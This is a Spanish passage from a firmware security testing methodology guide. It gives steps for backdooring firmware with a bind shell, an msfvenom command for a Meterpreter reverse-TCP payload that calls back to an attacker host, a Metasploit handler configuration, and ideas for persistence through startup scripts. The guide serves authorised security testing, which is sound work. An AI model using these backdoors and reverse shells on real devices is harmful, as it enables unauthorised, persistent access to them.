3.4 KiB
Esta página fue copiada de https://scriptingxss.gitbook.io/firmware-security-testing-methodology/
Intenta subir firmware personalizado y/o binarios compilados para encontrar fallas de integridad o verificación de firma. Por ejemplo, compila un backdoor bind shell que se inicie al arrancar siguiendo los siguientes pasos.
- Extrae el firmware con firmware-mod-kit (FMK)
- Identifica la arquitectura y el endianness del firmware objetivo
- Construye un compilador cruzado con Buildroot o usa otros métodos que se adapten a tu entorno
- Usa el compilador cruzado para construir el backdoor
- Copia el backdoor a /usr/bin del firmware extraído
- Copia el binario QEMU apropiado al rootfs del firmware extraído
- Emula el backdoor usando chroot y QEMU
- Conéctate al backdoor a través de netcat
- Elimina el binario QEMU del rootfs del firmware extraído
- Empaqueta el firmware modificado con FMK
- Prueba el firmware con backdoor emulado con firmware analysis toolkit (FAT) y conectándote a la dirección IP y puerto del backdoor objetivo usando netcat
Si ya se ha obtenido una shell de root a través de análisis dinámico, manipulación del bootloader o medios de prueba de seguridad de hardware, intenta ejecutar binarios maliciosos precompilados como implantes o reverse shells. Considera el uso de herramientas de carga útil/implante automatizadas utilizadas para frameworks de comando y control (C&C). Por ejemplo, el framework Metasploit y 'msfvenom' se pueden aprovechar siguiendo los siguientes pasos.
- Identifica la arquitectura y el endianness del firmware objetivo
- Usa
msfvenom
para especificar la carga útil de destino adecuada (-p), la dirección IP del host del atacante (LHOST=), el número de puerto de escucha (LPORT=), el tipo de archivo (-f), la arquitectura (--arch), la plataforma (--platform linux o windows) y el archivo de salida (-o). Por ejemplo,msfvenom -p linux/armle/meterpreter_reverse_tcp LHOST=192.168.1.245 LPORT=4445 -f elf -o meterpreter_reverse_tcp --arch armle --platform linux
- Transfiere la carga útil al dispositivo comprometido (por ejemplo, ejecuta un servidor web local y usa wget/curl para transferir la carga útil al sistema de archivos) y asegúrate de que tenga permisos de ejecución
- Prepara Metasploit para manejar solicitudes entrantes. Por ejemplo, inicia Metasploit con msfconsole y usa la siguiente configuración de acuerdo con la carga útil anterior: use exploit/multi/handler,
set payload linux/armle/meterpreter_reverse_tcp
set LHOST 192.168.1.245 #dirección IP del host del atacante
set LPORT 445 #puede ser cualquier puerto no utilizado
set ExitOnSession false
exploit -j -z
- Ejecuta el reverse shell meterpreter en el dispositivo comprometido
- Observa las sesiones de meterpreter abiertas
- Realiza actividades de post-explotación
Si es posible, identifica una vulnerabilidad dentro de los scripts de inicio para obtener acceso persistente a un dispositivo a través de reinicios. Estas vulnerabilidades surgen cuando los scripts de inicio hacen referencia, crean enlaces simbólicos o dependen de código ubicado en ubicaciones montadas no confiables como tarjetas SD y volúmenes flash utilizados para almacenar datos fuera de los sistemas de archivos raíz.